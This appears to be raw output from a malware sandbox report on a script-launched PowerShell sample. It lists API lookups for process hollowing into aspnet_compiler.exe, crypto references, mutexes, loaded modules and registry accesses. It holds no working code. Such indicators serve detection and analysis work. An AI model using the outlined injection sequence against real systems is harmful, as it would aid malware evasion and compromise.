WriteConsoleW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessesW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcessW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006896)43:T470,Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000000.134622.EF070000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000000.134622.EF070000.00000004.mdmp, 00000000-00006896.00000001.136542.EF070000.00000004.mdmp, 00000000-00006896.00000002.138461.EF070000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp, 00000000-00006896.00000003.143769.07CFB000.00000002.mdmp") Found reference to API (Indicator: "GetProcessById"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp")44:T4c5,Found reference to API "ow64SetThreadContext" (Indicator: "SetThreadContext"; File: "AMSI") Found reference to API "ow64GetThreadContext" (Indicator: "GetThreadContext"; File: "AMSI") Found reference to API "ow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "ow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "ResumeThreadDelegate" (Indicator: "ResumeThread"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "SetThreadContextDelegate" (Indicator: "SetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "GetThreadContextDelegate" (Indicator: "GetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "_wow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "_wow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp")45:T5e0,"\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006896.00000000.134622.ECA50000.00000004.mdmp 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006896.00000000.134622.EEF70000.00000004.mdmp 00000000-00006896.00000001.136542.EEF70000.00000004.mdmp 00000000-00006896.00000002.138461.EEF70000.00000004.mdmp 00000000-00006896.00000003.143769.EEF70000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp 00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp 00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp 00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006896.00000001.136542.EF070000.00000004.mdmp 00000000-00006896.00000002.138461.EF070000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006896.00000001.136542.EF070000.00000004.mdmp46:T931,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5240:304:WilStaging_02" Process WScript.exe created mutex with name "Local\SM0:5240:304:WilStaging_02" Process WScript.exe created mutex with name "Local\SM0:5240:120:WilError_03" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "SM0:5240:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:5240:120:WilError_03" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5240:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5240:120:WilError_03" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5240:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6896:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:6896:120:WilError_03" Process powershell.exe created mutex with name "SM0:6896:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:6896:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6896:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6896:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6896:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_03" Process aspnet_compiler.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8764:168:WilStaging_02" Process aspnet_compiler.exe created mutex with name "SM0:8764:168:WilStaging_02" Process aspnet_compiler.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6900:168:WilStaging_02" Process aspnet_compiler.exe created mutex with name "\BaseNamedObjects\K029T504577v6YGC"47:Td7b,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]48:Te5b,"\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006896.00000000.134622.ECA50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006896.00000000.134622.EEF70000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006896.00000001.136542.EEF70000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006896.00000001.136542.EF070000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006896.00000001.136542.EF070000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006896.00000002.138461.EEF70000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006896.00000002.138461.EF070000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aspnet_compiler.exe" in Source: 00000000-00006896.00000002.138461.EF070000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006896.00000003.143769.07CFB000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006896.00000003.143769.07CFB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006896.00000003.143769.07CFB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006896.00000003.143769.07CFB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006896.00000003.143769.07CFB000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006896.00000003.143769.07CFB000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006896.00000003.143769.EEF70000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp49:T26f9,"WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff971980000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff997da0000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ff99ad90000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ff99c3f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7ff96bc70000 "WScript.exe" loaded module "AMSI.DLL" at base 7ff98b690000 "WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff99a4d0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff99a4d0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff99a4d0000 "WScript.exe" loaded module "KERNEL32" at base 7ff99c3f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\0T1H4RXE.DLL" at base 7ff98fc50000 "WScript.exe" loaded module "WLDP.DLL" at base 7ff999d50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff99b3b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9993d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff97ccf0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff99abb0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff97ccd0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ff97c660000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ff9784f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 7ff971770000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ff978070000 "WScript.exe" loaded module "USER32.DLL" at base 7ff99be00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7ff98da70000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7ff99a290000 "WScript.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 7ff980900000 "WScript.exe" loaded module "WINHTTP.DLL" at base 7ff994510000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff980900000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff999ab0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff990d10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff991ef0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff9992e0000 "WScript.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff98aea0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff99a800000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff987de0000 "WScript.exe" loaded module "SHELL32.DLL" at base 7ff99b590000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff998490000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff994dd0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ff98b030000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff98dd80000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff99a4d0000 "WScript.exe" loaded module "VIRTDISK.DLL" at base 7ff985e20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 7ff995e70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ff981590000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONECORECOMMONPROXYSTUB.DLL" at base 7ff986330000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ff993aa0000 "WScript.exe" loaded module "NTDLL.DLL" at base 7ff99cd70000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff971980000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff99c3f0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff99b3b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff99a4d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff99a4d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff99a4d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff977020000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff99c010000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff9981b0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff991040000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff970c30000 "powershell.exe" loaded module "USER32.DLL" at base 7ff99be00000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff99a4d0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff984f70000 "powershell.exe" loaded module "NTDLL" at base 7ff99cd70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff99c700000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff99ad90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\6078762B90671C2FF9BA39318E2176D8\MSCORLIB.NI.DLL" at base 7ff962f20000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff99c2c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff99c700000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff99bd30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9993d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff99a800000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff99a4d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff970ae0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\FE3C9CF707273488C6C658D52D624640\SYSTEM.NI.DLL" at base 7ff96fe60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\21FF4BA4607B18A9B179AB90FD3B0BC1\SYSTEM.CORE.NI.DLL" at base 7ff9648b0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff99c700000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff99c700000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff99cd70000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff99b590000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff99cb40000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff99ad10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff99abb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\76FF225C5A523F0BE2364B0FC02BF7F9\SYSTEM.XML.NI.DLL" at base 7ff962670000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff98b690000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff99abb0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff999d50000 "powershell.exe" loaded module "KERNEL32" at base 7ff99c3f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\0T1H4RXE.DLL" at base 7ff98fc50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff97ccf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff97ccd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff977650000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 7ff984e00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\AFD58C711DB7CAC7F0D5CAF525CE8D6C\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff96fcf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\8ECDA6B0FFA321000FAFFBDCDB86175B\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff96fb80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\8990B2F5A93202518A0040E15B565F36\SYSTEM.DATA.NI.DLL" at base 7ff961cf0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff96f550000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\24206316825BB75EBFBDD31895DF2F1F\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff96fa40000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff99c700000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff99a7d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\BEABD14F0AB9A67D348911645772E933\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff96f470000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff975290000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff98eac0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff99a290000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff997da0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\9594C82AF7B396B5EE8B0EF1D461CEA2\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff973b70000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ff999790000 "powershell.exe" loaded module "ADVAPI32" at base 7ff99b3b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.SERV759BFB78#\087C3391DD8EC1328391FEC5E2C4D553\SYSTEM.SERVICEPROCESS.NI.DLL" at base 7ff96f9f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\908B5C1DEBCFB784BC25157A8EBCDFBE\SYSTEM.DRAWING.NI.DLL" at base 7ff96e240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\061200DCB8937E1B9EB2641F2CE9D2EC\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff960c30000 "powershell.exe" loaded module "OLEAUT32" at base 7ff99bd300004a:T123b,"WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "XML HTTP" (Path: "HKCU\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "Computer" 